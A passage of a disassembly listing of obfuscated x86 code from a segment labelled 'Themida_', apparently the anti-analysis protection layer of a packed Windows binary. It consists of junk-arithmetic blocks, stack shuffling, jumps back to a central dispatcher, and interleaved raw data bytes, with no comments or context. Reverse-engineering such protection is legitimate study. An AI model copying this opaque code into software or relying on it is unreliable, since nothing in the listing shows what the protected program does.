--------------------------------------------------------------------------- dw 0E9ACh dd 1901h, 9D1C77FFh, 4185866h, 0B9E99C24h db 51h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54CDE7: ; CODE XREF: Themida_:00550894j add ebx, esi sub ebx, 6EC143C7h jmp loc_549061 ; --------------------------------------------------------------------------- loc_54CDF4: ; CODE XREF: Themida_:0055371Ej pop eax sub edx, edi pop edi mov ebx, edx pop edx jmp loc_54989E ; --------------------------------------------------------------------------- loc_54CE00: ; CODE XREF: Themida_:0054AD99j mov ebp, esp add ebp, 4 push ebx mov ebx, 4 add ebp, ebx pop ebx xchg ebp, [esp] mov esp, [esp] jmp loc_550126 ; --------------------------------------------------------------------------- loc_54CE1C: ; CODE XREF: Themida_:005524CCj push 3B863F0h jmp loc_55201C ; --------------------------------------------------------------------------- loc_54CE26: ; CODE XREF: Themida_:00549AD6j ; Themida_:00555424j push 2943h mov [esp], ecx mov ecx, 0DFEDB801h add eax, 388F33B4h add eax, ecx sub eax, 388F33B4h pop ecx jmp loc_5534FE ; --------------------------------------------------------------------------- loc_54CE45: ; CODE XREF: Themida_:005506EDj neg esi xchg ebx, esi not ebx jmp loc_553787 ; --------------------------------------------------------------------------- loc_54CE50: ; CODE XREF: Themida_:00555ABCj add esi, ebp mov ebp, [esp] add esp, 4 xchg esi, [esp] mov esp, [esp] dec word ptr [esp] pushf jmp loc_548929 ; --------------------------------------------------------------------------- loc_54CE68: ; CODE XREF: Themida_:00548B24j add edi, 4 jmp loc_555D41 ; --------------------------------------------------------------------------- db 81h dd 815C71E9h, 0FE1BE90Fh, 0EC83FFFFh, 24148904h, 0C6242C81h dd 0E95E1C16h, 2961h, 9EBB534Eh, 0C16ACC6Fh, 0EB8103EBh dd 4153B9C6h, 295BDE31h, 0CC055EF0h, 812BC602h, 4ECh, 243C8900h dd 3D14E9h db 0 ; --------------------------------------------------------------------------- loc_54CEB9: ; CODE XREF: Themida_:0054F146j pop esp sub eax, 143C60F5h jmp loc_554D41 ; --------------------------------------------------------------------------- dd 42474FFh, 4D0CE9h db 0 ; --------------------------------------------------------------------------- loc_54CECD: ; CODE XREF: Themida_:0055127Bj add esp, 4 pop edi jmp loc_54F7B8 ; --------------------------------------------------------------------------- loc_54CED6: ; CODE XREF: Themida_:00555D8Dj push edi mov edi, 53BE3A1Fh xor edi, 487D022Dh inc edi inc edi and edi, 5DD272EEh push ecx jmp loc_54EA29 ; --------------------------------------------------------------------------- dd 46E9E588h db 0D5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CEF7: ; CODE XREF: Themida_:0054F8BDj push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push esi push ecx push 2A963B70h pop ecx add ecx, 5D884544h jz loc_552453 add ecx, 26CE5CD4h jg loc_550DD2 push ebp mov ebp, 3F8452FEh or ebp, 64567FEh add ebp, 74E6213Ah shl ebp, 2 inc ebp xor ebp, 2B23E7E5h xor ecx, ebp pop ebp mov esi, ecx pop ecx jmp loc_54C42A ; --------------------------------------------------------------------------- loc_54CF51: ; CODE XREF: Themida_:0054A10Aj pop esi pop dword ptr [esp] mov esp, [esp] jmp loc_548929 ; --------------------------------------------------------------------------- db 1, 0CDh, 81h dd 9A6D7FEDh, 2C875913h, 24248B24h, 24040166h, 0B9B3E99Ch dd 0E9ADFFFFh, 28ADh ; --------------------------------------------------------------------------- loc_54CF7C: ; CODE XREF: Themida_:loc_54C56Ej not bl or bl, 0FDh xor bl, 8Ch jmp loc_555AF6 ; --------------------------------------------------------------------------- db 0ADh, 83h, 0ECh dd 24148904h, 1E4CD1BAh, 26C4E95Ch, 0D0290000h, 0E92434FFh dd 7CC1h, 95E955B4h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54CFAB: ; CODE XREF: Themida_:00552D35j neg ebx js loc_54AB23 inc ebx jle loc_552929 and ebx, 3D801D07h pop edi loc_54CFC1: ; CODE XREF: Themida_:00555209j xor dh, 0ACh push eax mov al, 0F7h add dh, al pop eax mov bh, dh pop edx dec bh jmp loc_55239A ; --------------------------------------------------------------------------- loc_54CFD4: ; CODE XREF: Themida_:005490E1j sub bl, 0BFh jmp loc_54E4F2 ; --------------------------------------------------------------------------- dd 68240C89h, 761862FBh, 3A5CE9h db 0 ; --------------------------------------------------------------------------- loc_54CFE9: ; CODE XREF: Themida_:0054F626j push ecx mov ecx, 30BD7E62h not ecx inc ecx dec ecx add ecx, 9542C2C6h add esi, ecx pop ecx xor esi, 7CA142A4h push edi push esi push 7E7E5F37h pop esi add esi, 77B622Eh jno loc_54A025 jmp loc_54C8D3 ; --------------------------------------------------------------------------- db 51h dd 0CDFEDCB5h, 0E5C0D5F6h, 0E9DDF607h, 6CD4h ; --------------------------------------------------------------------------- loc_54D02C: ; CODE XREF: Themida_:0054E5DCj mov esi, esp push edi mov edi, 343B098Eh dec edi jmp loc_54C6A5 ; --------------------------------------------------------------------------- loc_54D03A: ; CODE XREF: Themida_:0054A986j jz loc_54C2B9 push dword ptr [edi+1Ch] push ecx jmp loc_54BC4C ; --------------------------------------------------------------------------- loc_54D049: ; CODE XREF: Themida_:0055211Dj push esp mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp add eax, 4 push 322Fh mov [esp], ecx mov ecx, 56E55454h sub ecx, 56E55450h add eax, ecx pop ecx jmp loc_554F21 ; --------------------------------------------------------------------------- loc_54D07D: ; CODE XREF: Themida_:0054FDD2j push small word ptr [edx] jmp loc_548929 ; --------------------------------------------------------------------------- db 50h, 89h, 0E0h dd 405h, 50FE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D092: ; CODE XREF: Themida_:00554054j add dh, 20h add bl, 0Bh sub bl, dh jmp loc_550899 ; --------------------------------------------------------------------------- loc_54D09F: ; CODE XREF: Themida_:loc_54BC94j xor ebp, 33DA0D97h xor ebp, 0C24D5267h add edi, ebp jmp loc_54BD2B ; --------------------------------------------------------------------------- loc_54D0B2: ; CODE XREF: Themida_:00553C60j push 23AFh jmp loc_54F9E3 ; --------------------------------------------------------------------------- loc_54D0BC: ; CODE XREF: Themida_:0055334Dj xor edi, esi xor esi, edi not edi xor esi, edi xor edi, esi xor esi, edi xchg esi, ecx jmp loc_5516CF ; --------------------------------------------------------------------------- loc_54D0CF: ; CODE XREF: Themida_:0054FC49j ; Themida_:005513A8j mov [esp], esi push dword ptr [esp] pop edi push esi push esp jmp loc_54F922 ; --------------------------------------------------------------------------- loc_54D0DD: ; CODE XREF: Themida_:0055286Aj add al, ch pop ecx push edx push eax mov al, 0C2h mov dh, 10h xor dh, al pop eax dec dh sub dh, 32h shr dh, 8 jmp loc_54951B ; --------------------------------------------------------------------------- dw 0D901h dd 5F2AE981h, 875B527Bh, 0D35C240Ch, 0E99C242Ch, 0FFFFB81Dh ; --------------------------------------------------------------------------- loc_54D10C: ; CODE XREF: Themida_:0054A84Aj xchg edx, [esp] pop esp pop dword ptr [esp] pop esp push 4433h jmp loc_54C2A0 ; --------------------------------------------------------------------------- loc_54D11E: ; CODE XREF: Themida_:0054C6B3j push esi mov esi, 0BE35FC2Ch sub edi, esi pop esi jmp loc_54CA4C ; --------------------------------------------------------------------------- loc_54D12C: ; CODE XREF: Themida_:loc_54C690j shr eax, 6 jmp loc_54A69D ; --------------------------------------------------------------------------- dd 0BD5382BEh, 7CEE817Bh, 31498D3Bh, 24348BF1h, 4C481h dd 0C8010000h, 592434FFh, 0FFC8F7E9h, 242C89FFh, 0C5815D54h dd 4, 0FFD122E9h, 243481FFh, 13105ED7h, 0D7F3815Bh, 5913105Eh dd 0FFD229E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D179: ; CODE XREF: Themida_:005535A7j pop esp sub esp, 4 mov [esp], edx mov edx, 7D4A0E9Eh jmp loc_54DC8A ; --------------------------------------------------------------------------- loc_54D18A: ; CODE XREF: Themida_:00553933j add eax, 54B154DEh neg eax jns loc_5545F9 sub eax, 0DC3ADF9Bh push esi jmp loc_5538A5 ; --------------------------------------------------------------------------- dw 0E080h db 51h ; --------------------------------------------------------------------------- loc_54D1A5: ; CODE XREF: Themida_:005528C0j and ebp, 3851069h jmp loc_54AFFE ; --------------------------------------------------------------------------- dd 4CF3815Fh, 0F7B7330h, 0FFF7B889h, 97F381FFh, 0F4D4347h dd 0FFC9818Bh db 0FFh, 51h ; --------------------------------------------------------------------------- loc_54D1CA: ; CODE XREF: Themida_:00548B2Dj sub esp, 4 mov [esp], edx mov edx, esp push ecx mov ecx, 4 add edx, ecx jmp loc_54BFBF ; --------------------------------------------------------------------------- dw 0C381h dd 4, 252BE9h db 0 ; --------------------------------------------------------------------------- loc_54D1ED: ; CODE XREF: Themida_:00551384j jmp loc_554205 ; --------------------------------------------------------------------------- dw 0E589h dd 4C581h, 0ED830000h, 242C8704h, 0E924248Bh, 2E10h ; --------------------------------------------------------------------------- loc_54D208: ; CODE XREF: Themida_:00549ED6j jz loc_54D801 push dword ptr [edi+1Ch] push dword ptr [esp] jmp loc_54C709 ; --------------------------------------------------------------------------- loc_54D219: ; CODE XREF: Themida_:0054BC4Dj push ebx push 73833D49h pop ebx neg ebx or ebx, 50B15D85h jno loc_54EC30 add ebx, 479701DCh jmp loc_54D77F ; --------------------------------------------------------------------------- loc_54D239: ; CODE XREF: Themida_:0054A698j push esi mov esi, 32A9448Fh xor esi, 56076CFEh neg esi neg esi sub esi, 5136502Fh xor esi, 22C449ABh add ebx, 751D3023h add ebx, esi sub ebx, 751D3023h jmp loc_54ECB9 ; --------------------------------------------------------------------------- dd 956C4BBDh, 4FF5813Ch, 563C956Ch, 0FD758CBEh, 0DCCE8143h dd 816E832Ah, 0FE2964F6h, 82CE8121h, 812ABF6Fh, 0AE7B1CE6h dd 3E6C140h, 0CF02F681h, 0F729402Ch, 0B2BE95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D2A2: ; CODE XREF: Themida_:00553AABj mov [esp], eax mov eax, 4 jmp loc_54E88F ; --------------------------------------------------------------------------- loc_54D2AF: ; CODE XREF: Themida_:00554E64j jmp loc_548929 ; --------------------------------------------------------------------------- dd 0A65982BFh, 0E9F8894Ah, 0FFFFC0A2h, 4DAEF81h, 0DF290563h dd 0FFE0DAE9h db 0FFh ; --------------------------------------------------------------------------- loc_54D2CD: ; CODE XREF: Themida_:00554FB0j xor eax, 11374424h push dword ptr [esp] mov edi, [esp] jmp loc_54AEA2 ; --------------------------------------------------------------------------- db 80h, 0C5h, 0FFh dd offset byte_5B46E9 db 0 ; --------------------------------------------------------------------------- loc_54D2E5: ; CODE XREF: Themida_:00554584j mov [esp], ebx mov bl, 25h add bl, 0C7h or dh, bl pop ebx sub esp, 4 mov [esp], ebx mov bh, 0B9h add bh, 0D5h shr bh, 8 push eax mov al, 7Ah and al, 27h sub al, 0Eh inc al jmp loc_548A4B ; --------------------------------------------------------------------------- dd 680CC181h, 3E90401h, 81FFFFE7h, 105B87CBh, 6E6DE90Ch dd 0BD550000h, 2, 15DEE89h, 168EE9F1h, 0E9570000h, 0FFFFB60Bh dd 815DEE89h, 7C2026CEh, 11E68152h, 0E9559F53h, 2240h ; --------------------------------------------------------------------------- loc_54D34C: ; CODE XREF: Themida_:0055123Aj push esi mov esi, 37A705A8h add esi, 45D41DC0h jg loc_55215F jmp loc_550E2A ; --------------------------------------------------------------------------- db 68h dd 25B3h, 0E5E9465Bh, 5FFFFFEDh, 0E9CE0158h, 2A85h, 0F6B6E956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D37E: ; CODE XREF: Themida_:0054DEC0j mov cl, 0FCh mov ah, cl pop ecx inc ah push ebx jmp loc_54A967 ; --------------------------------------------------------------------------- loc_54D38B: ; CODE XREF: Themida_:005558E9j pop esi not esi and esi, 74452757h jmp loc_555A5B ; --------------------------------------------------------------------------- loc_54D399: ; CODE XREF: Themida_:00550581j sub ebx, 3D364D15h xor edx, eax jmp loc_548929 ; --------------------------------------------------------------------------- loc_54D3A6: ; CODE XREF: Themida_:00549255j pop edx pop ecx movzx eax, al push dword ptr [edi+eax*4] jmp loc_54C613 ; --------------------------------------------------------------------------- loc_54D3B3: ; CODE XREF: Themida_:0054BAAAj sub dword ptr [esp+8], 2427329Ah jmp loc_554911 ; --------------------------------------------------------------------------- loc_54D3C0: ; CODE XREF: Themida_:00549561j ; Themida_:005541C5j add ebx, 429955FBh add ebx, eax jmp loc_548A78 ; --------------------------------------------------------------------------- loc_54D3CD: ; CODE XREF: Themida_:005548F8j sub ecx, ebx add ecx, 590052CAh mov ebx, [esp] add esp, 4 xchg ecx, [esp] pop esp jmp loc_553C43 ; --------------------------------------------------------------------------- dd 4C5835Eh, 2474FF55h, 48F5D04h, 0D1685C24h, 89000048h dd 0E2892414h, 4C281h, 0C2810000h, 4, 31241433h, 0CFE92414h db 0ECh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D413: ; CODE XREF: Themida_:00551C5Cj jmp loc_54F215 ; --------------------------------------------------------------------------- loc_54D418: ; CODE XREF: Themida_:0054E4A2j mov esi, [esp] add esp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], ebp mov ebp, esp push edi jmp loc_551857 ; --------------------------------------------------------------------------- loc_54D432: ; CODE XREF: Themida_:0054BBA4j push edi mov edi, 6A7A15F5h jmp loc_554114 ; --------------------------------------------------------------------------- db 0FFh, 77h, 38h dd 8B2434FFh, 3AE9240Ch, 81000030h, 7F28F9E2h, 0BAE94A78h dd 80000048h, 0E5C06EE5h, 36B05003h, 3C04C8FEh, 48BC528h dd 4C48124h, 30000000h, 0FE6859E8h, 89000057h, 85B7241Ch dd 678368h, 24148900h, 0B05001B6h, 3E8C013h, 0D0F6C0FEh dd 94E9D0F6h db 55h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D497: ; CODE XREF: Themida_:00548C8Bj mov [esp], ecx mov ecx, esp add ecx, 4 push 3ADEh mov [esp], ebx mov ebx, 4 sub ecx, 6DBA4F08h add ecx, ebx push edi push ebp push 0B30706Eh pop ebp or ebp, 4DB26282h jmp loc_54FDC6 ; --------------------------------------------------------------------------- dw 0E954h dd 0FFFFDAF3h ; --------------------------------------------------------------------------- loc_54D4D0: ; CODE XREF: Themida_:0054F3C2j pop esp jmp loc_54C5E7 ; --------------------------------------------------------------------------- loc_54D4D6: ; CODE XREF: Themida_:0055196Cj ; Themida_:loc_55573Aj add eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_549ED4 ; --------------------------------------------------------------------------- loc_54D4EA: ; CODE XREF: Themida_:0054E4FDj add bl, cl pop ecx push edx mov dh, 0EEh shr dh, 3 xor dh, 0D6h shr dh, 4 or dh, 0B6h sub dh, 0EDh jmp loc_54E83B ; --------------------------------------------------------------------------- dd 520FC280h, 0FFBA22E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D50D: ; CODE XREF: Themida_:0055163Cj pop bx mov ch, 9Ah xor ch, dl pop edx and ch, 3Dh sub ch, 50h sub bl, 0F1h jmp loc_54FA37 ; --------------------------------------------------------------------------- dw 0FF66h dd 66022474h, 48F665Dh, 0D5F76624h, 242C8766h, 242C8B66h dd 0FFEFD1E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D53D: ; CODE XREF: Themida_:005497EFj sub eax, edx pop edx xor edi, eax pop eax mov ebp, edi jmp loc_5536FF ; --------------------------------------------------------------------------- loc_54D54A: ; CODE XREF: Themida_:0055348Bj add ebx, eax add ebx, 750939F8h sub ebx, 523B57D8h add ebx, 74242B71h mov eax, [esp] push edx mov edx, esp push ebp mov ebp, 4 add edx, ebp pop ebp jmp loc_555154 ; --------------------------------------------------------------------------- dw 0E952h dd 0FFFFD930h ; --------------------------------------------------------------------------- loc_54D578: ; CODE XREF: Themida_:00552EDBj sub bl, al add bl, 0B3h movzx eax, al lea eax, [edi+eax*4] jmp loc_555541 ; --------------------------------------------------------------------------- dd 68D9F741h, 7F2Dh, 5767E9h db 0 ; --------------------------------------------------------------------------- loc_54D595: ; CODE XREF: Themida_:00551377j add edi, 7ED415C2h pop ecx jmp loc_54BDC8 ; --------------------------------------------------------------------------- db 83h, 0E8h, 4 dd 5C240487h, 57240489h, 570206BFh, 0AEF78136h, 0E9344358h dd 5511h, 0FF2434FFh, 0E9582434h, 7A89h ; --------------------------------------------------------------------------- loc_54D5C8: ; CODE XREF: Themida_:00555447j inc ebp jmp loc_54C320 ; --------------------------------------------------------------------------- dw 0F921h dd 2B5CE9h db 0 ; --------------------------------------------------------------------------- loc_54D5D5: ; CODE XREF: Themida_:005533F4j add ebp, 79BA7AD0h add ebp, 456C3087h add esi, ebp jmp loc_55531B ; --------------------------------------------------------------------------- loc_54D5E8: ; CODE XREF: Themida_:00552753j xor ebx, 547CBE4Bh jmp loc_54C956 ; --------------------------------------------------------------------------- loc_54D5F3: ; CODE XREF: Themida_:0055080Cj add esi, eax jmp loc_552C9A ; --------------------------------------------------------------------------- loc_54D5FA: ; CODE XREF: Themida_:005536C5j xor ecx, 9E77DFFAh push ecx sub dword ptr [esp], 71B6652Ah mov ebx, [esp] add esp, 4 jmp loc_5509DE ; --------------------------------------------------------------------------- dw 0FCBEh dd 8124611Eh, 527916E6h, 0FFEE8316h, 8104EEC1h, 364055F6h dd 33B6E99Fh, 34FF0000h, 2434FF24h, 10ECE959h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D63E: ; CODE XREF: Themida_:00550CDCj mov esp, [esp] mov [esp], dx push ax pushf jmp loc_548929 ; --------------------------------------------------------------------------- loc_54D64D: ; CODE XREF: Themida_:0054B478j push ecx mov ecx, 73AF75BEh sub ecx, 341B2B34h shr ecx, 8 add ecx, 1E4470F7h dec ecx sub ecx, 1E84053Ch jmp loc_54F137 ; --------------------------------------------------------------------------- dw 0E689h dd 4EC8153h, 89000000h, 8BA2414h, 81732203h, 0FF0911EAh dd 0B789E929h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D68A: ; CODE XREF: Themida_:00552BC4j mov ecx, [esp] add esp, 4 push edi mov edi, esp push esi mov esi, 0F582C35h sub esi, 0F582C31h add edi, esi mov esi, [esp] jmp loc_55474B ; --------------------------------------------------------------------------- dd 0B3241C89h, 3295E9E5h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54D6B6: ; CODE XREF: Themida_:0054FF60j mov [esp], ebp pop edx pop ebp jmp loc_548929 ; --------------------------------------------------------------------------- loc_54D6C0: ; CODE XREF: Themida_:00555E02j push ebx jmp loc_553899 ; --------------------------------------------------------------------------- loc_54D6C6: ; CODE XREF: Themida_:0054E5CDj mov [esp], ebx push edi mov edi, 1 sub [esp+4], edi pop edi jmp loc_54F251 ; --------------------------------------------------------------------------- loc_54D6D9: ; CODE XREF: Themida_:005538A8j jmp loc_54CC77 ; --------------------------------------------------------------------------- aNsL db '╜И l',0 align 4 loc_54D6E4: ; CODE XREF: Themida_:0055293Ej push 54A0h mov [esp], edx mov edx, 74AD19AAh and edx, 4D0179EAh jp loc_55150A jmp loc_553B27 ; --------------------------------------------------------------------------- dw 15Bh dd 51D389D8h, 0EB88F588h, 0DA885A59h, 81241C8Bh, 4C4h dd 0F6CAFE00h, 3EAC0D2h, 0FE15B551h, 0E9C5FEC5h, 0FFFFFBB1h ; --------------------------------------------------------------------------- loc_54D72C: ; CODE XREF: Themida_:0054C6B9j push 2A40h jmp loc_54E502 ; --------------------------------------------------------------------------- loc_54D736: ; CODE XREF: Themida_:0054B273j pop ebx mov edx, [esp] add esp, 4 push ecx mov cl, 0A3h or cl, 13h neg cl xor cl, 0E2h jmp loc_550F6D ; --------------------------------------------------------------------------- loc_54D750: ; CODE XREF: Themida_:0054E7BBj mov dh, 23h sub bl, dh mov edx, [esp] jmp loc_54A7F8 ; --------------------------------------------------------------------------- loc_54D75C: ; CODE XREF: Themida_:005501DCj pop esp mov [esp], ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] push dword ptr [esp] pop eax add esp, 4 jmp loc_550FF2 ; --------------------------------------------------------------------------- db 4Bh dd 49E9DD87h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D77F: ; CODE XREF: Themida_:0054D234j ; Themida_:0054E2B2j add al, 0C9h jmp loc_550137 ; --------------------------------------------------------------------------- loc_54D786: ; CODE XREF: Themida_:00555039j xchg esi, ebx not esi xor ebx, esi xor esi, ebx xor ebx, esi push edi mov edi, esp jmp loc_5501CD ; --------------------------------------------------------------------------- aZHsi db '┤,$\hИi',0 dd 240C8900h, 0E9575954h, 0FFFFCB96h, 0FFB178E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D7B1: ; CODE XREF: Themida_:0054A262j mov dl, 0DDh mov al, 92h xor al, dl pop edx sub bl, al mov ax, [esp] add esp, 2 add bl, dh add bl, 4Fh pop dx sub bl, ch sub bl, 24h jmp loc_552ED7 ; --------------------------------------------------------------------------- loc_54D7D2: ; CODE XREF: Themida_:0055275Fj mov [esp], edi push 6C84h mov [esp], esp add dword ptr [esp], 4 jmp loc_549E38 ; --------------------------------------------------------------------------- loc_54D7E6: ; CODE XREF: Themida_:00551826j sub eax, 4 xchg eax, [esp] jmp loc_549450 ; --------------------------------------------------------------------------- loc_54D7F1: ; CODE XREF: Themida_:005505D2j mov ecx, [esp] jmp loc_54B528 ; --------------------------------------------------------------------------- loc_54D7F9: ; CODE XREF: Themida_:005524BDj push dword ptr [esp] jmp loc_553CAC ; --------------------------------------------------------------------------- loc_54D801: ; CODE XREF: Themida_:loc_54D208j ; Themida_:0054DCBFj ... push edi push esp pop edi add edi, 4 sub edi, 4 xchg edi, [esp] pop esp mov [esp], ebx push dword ptr [esp] jmp loc_555762 ; --------------------------------------------------------------------------- dd 5A6E840Fh, 0F3860000h, 0F386D6F6h, 4DAC380h, 53D828C0h dd 0FFD520E9h db 0FFh ; --------------------------------------------------------------------------- loc_54D835: ; CODE XREF: Themida_:0054A7CAj mov [esp], bx jmp loc_54F99B ; --------------------------------------------------------------------------- loc_54D83E: ; CODE XREF: Themida_:00551941j pop ebp jmp loc_54FF43 ; --------------------------------------------------------------------------- dd 24048B66h, 0E8A68h, 241C8900h, 0C3815B54h, 4, 4D6E9h dd 0FA5A3500h, 0C689108Ah, 0FFFF98E9h, 11C781FFh, 0E977B270h dd 682Ah ; --------------------------------------------------------------------------- loc_54D874: ; CODE XREF: Themida_:0054BE56j inc ebx add ebx, 9B144F6h jbe loc_552741 add ebx, 1B03264Dh jbe loc_553C43 sub ebx, 394407B8h jl loc_54A357 xor ebx, 547CBE4Bh mov edx, ebx pop ebx push ebx add esp, 4 push ebx push esp pop ebx push esi push eax mov eax, 4B7C2885h jmp loc_55233C ; --------------------------------------------------------------------------- loc_54D8B8: ; CODE XREF: Themida_:00552876j pop ebp sub eax, 58B274F3h neg eax and eax, 71685216h sub esp, 4 mov [esp], edi mov edi, 361F1345h and edi, 519C3A33h shr edi, 1 add edi, 3D96025Ah jmp loc_54A313 ; --------------------------------------------------------------------------- dw 0C231h dd 36F5E9h db 0 ; --------------------------------------------------------------------------- loc_54D8ED: ; CODE XREF: Themida_:0054A352j mov cl, 6Fh mov al, cl pop ecx push edx mov dl, 9Fh dec dl neg dl push ebx mov bh, 63h shr bh, 8 jmp loc_550F5B ; --------------------------------------------------------------------------- loc_54D904: ; CODE XREF: Themida_:0054ED78j sub eax, 266D426Fh add eax, 77C0738Dh add eax, ebx push edi mov edi, 77C0738Dh sub eax, edi pop edi add eax, 266D426Fh pop ebx add esi, eax jmp loc_55139C ; --------------------------------------------------------------------------- loc_54D926: ; CODE XREF: Themida_:0055203Bj and ecx, ebp push dword ptr [esp] jmp loc_54C673 ; --------------------------------------------------------------------------- loc_54D930: ; CODE XREF: Themida_:0054C699j jz loc_549042 push edi mov edi, 4F46333Bh add eax, edi pop edi shr eax, 2 xor eax, 1456BFA3h mov edx, eax pop eax add edx, ecx push ecx mov ecx, 0 add ecx, edx mov [ecx], al pop ecx pop edx pop ecx jmp loc_548929 ; --------------------------------------------------------------------------- loc_54D95E: ; CODE XREF: Themida_:00553ED8j push dx jmp loc_54B586 ; --------------------------------------------------------------------------- loc_54D965: ; CODE XREF: Themida_:005499E2j pop esi pop ebp push 7428h jmp loc_54EE74 ; --------------------------------------------------------------------------- loc_54D971: ; CODE XREF: Themida_:00555B04j push dword ptr [esp] jmp loc_549AC4 ; --------------------------------------------------------------------------- db 81h, 0E7h, 0A8h dd 81621B1Bh, 141BC6F7h, 90830F04h, 0C1FFFFCDh, 8B0F02EFh dd 0FFFFC522h, 0FB8AD78Ah, 97707905h, 73E95639h db 3Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54D9A3: ; CODE XREF: Themida_:005553ACj sub ebp, 5C4A3341h add ebp, 38C43CACh mov eax, ebp pop ebp sub ebx, 4EC03EB1h jmp loc_548C14 ; --------------------------------------------------------------------------- loc_54D9BD: ; CODE XREF: Themida_:0055538Cj jmp loc_548929 ; --------------------------------------------------------------------------- dw 8A0Fh dd 0FFFFDCE2h, 0D0F6C586h, 0EDD0C586h, 0E9A5CD80h, 48Dh dd 4BBh, 0D726E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54D9E2: ; CODE XREF: Themida_:0054C2E3j pop edx mov esi, [esp] jmp loc_54DB5E ; --------------------------------------------------------------------------- loc_54D9EB: ; CODE XREF: Themida_:00553782j mov ch, 83h sub al, ch jmp loc_5533BC ; --------------------------------------------------------------------------- loc_54D9F4: ; CODE XREF: Themida_:00551441j add ebx, 5E06F3BEh push ebx add dword ptr [esp], 288E09DAh pop ebp push esi mov esi, 35443127h xor esi, 20F1666Ah shl esi, 6 sub esi, 39C53165h add esi, 0F4FD67FFh jmp loc_54CB3C ; --------------------------------------------------------------------------- loc_54DA23: ; CODE XREF: Themida_:0054C46Dj pop ecx sub al, dl push cx mov ch, 1Ah add al, ch pop cx mov edx, [esp] add esp, 4 push edx mov dh, 4 jmp loc_55457F ; --------------------------------------------------------------------------- loc_54DA3F: ; CODE XREF: Themida_:0054C43Aj ; Themida_:0055172Dj pop esi push dword ptr [edi+eax*4] push eax push esp pop eax sub esp, 4 mov [esp], edx mov edx, 34A255AAh sub edx, 34A255A6h add eax, edx pop edx sub eax, 4 jmp loc_5497AD ; --------------------------------------------------------------------------- dw 0F781h dd 0BCAA8DAAh, 0A9E9FB89h db 53h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54DA6F: ; CODE XREF: Themida_:0055061Aj pop ebx jmp loc_54CCD1 ; --------------------------------------------------------------------------- loc_54DA75: ; CODE XREF: Themida_:00551473j pop edx jmp loc_5549A4 ; --------------------------------------------------------------------------- db 83h dd 5A042404h, 2D8E9h db 0 ; --------------------------------------------------------------------------- loc_54DA85: ; CODE XREF: Themida_:0054FB08j ; Themida_:005540D6j push 6040224Ch pop ebx xor ebx, 21F257E9h sub ebx, 41B275A1h add edx, ebx pop ebx push ebx mov ebx, 4 jmp loc_5499FB ; --------------------------------------------------------------------------- loc_54DAA5: ; CODE XREF: Themida_:0054EB73j shl edx, 8 neg edx sub esp, 4 mov [esp], ebx jmp loc_5509AB ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 db '$h{',9,0 align 2 dw 3489h dd 34FF5424h, 70A9E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54DACA: ; CODE XREF: Themida_:005497FCj push esi mov esi, ebx jmp loc_554205 ; --------------------------------------------------------------------------- loc_54DAD2: ; CODE XREF: Themida_:005496A5j add ebx, 0E9DB05C2h push eax mov eax, 3FED6D78h add eax, 13515103h add eax, 6A182A05h sub eax, 16355CB3h inc eax sub eax, 5B655FC6h add ebp, eax pop eax jmp loc_54DC70 ; --------------------------------------------------------------------------- db 81h dd 0D853B5C3h, 8BDE317Bh, 91E9241Ch, 50FFFFC3h, 42474FFh dd 27EFE958h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54DB16: ; CODE XREF: Themida_:00550FC3j push 6F1E5AE8h pop ebp shr ebp, 5 jmp loc_554B69 ; --------------------------------------------------------------------------- loc_54DB24: ; CODE XREF: Themida_:005491D5j ; Themida_:005547BEj shr eax, 6 jmp loc_550DDF ; --------------------------------------------------------------------------- dd 0F48861B6h, 66E3285Ah, 0E924048Bh, 585Dh ; --------------------------------------------------------------------------- loc_54DB3C: ; CODE XREF: Themida_:0054C4B3j add ebp, 647F561Dh jmp loc_54B783 ; --------------------------------------------------------------------------- db 59h dd 35E7C181h, 0CA89CE50h, 81DAF759h, 37EC96EAh, 0EF1AE9A4h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DB5E: ; CODE XREF: Themida_:0054D9E6j add esp, 4 jmp loc_550FBC ; --------------------------------------------------------------------------- loc_54DB69: ; CODE XREF: Themida_:00554E37j sub eax, 61A876EEh pop ebx jmp loc_55221B ; --------------------------------------------------------------------------- loc_54DB74: ; CODE XREF: Themida_:0054B079j xor eax, 235044AEh mov edi, eax pop eax mov ebx, edi pop edi sub ebp, 774641FCh add ebp, ebx add ebp, 774641FCh mov ebx, [esp] add esp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] mov esp, [esp] jmp loc_548EB2 ; --------------------------------------------------------------------------- dd 7EE9028Fh db 0ADh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54DBAB: ; CODE XREF: Themida_:0054C867j mov esp, [esp] mov [esp], edx push 1 mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp xor ebp, [esp] jmp loc_54C5F0 ; --------------------------------------------------------------------------- loc_54DBD3: ; CODE XREF: Themida_:00549453j mov [esp], esi push 170E4767h jmp loc_54992D ; --------------------------------------------------------------------------- dd 3E47E281h, 0C2810555h, 0FFFFC404h, 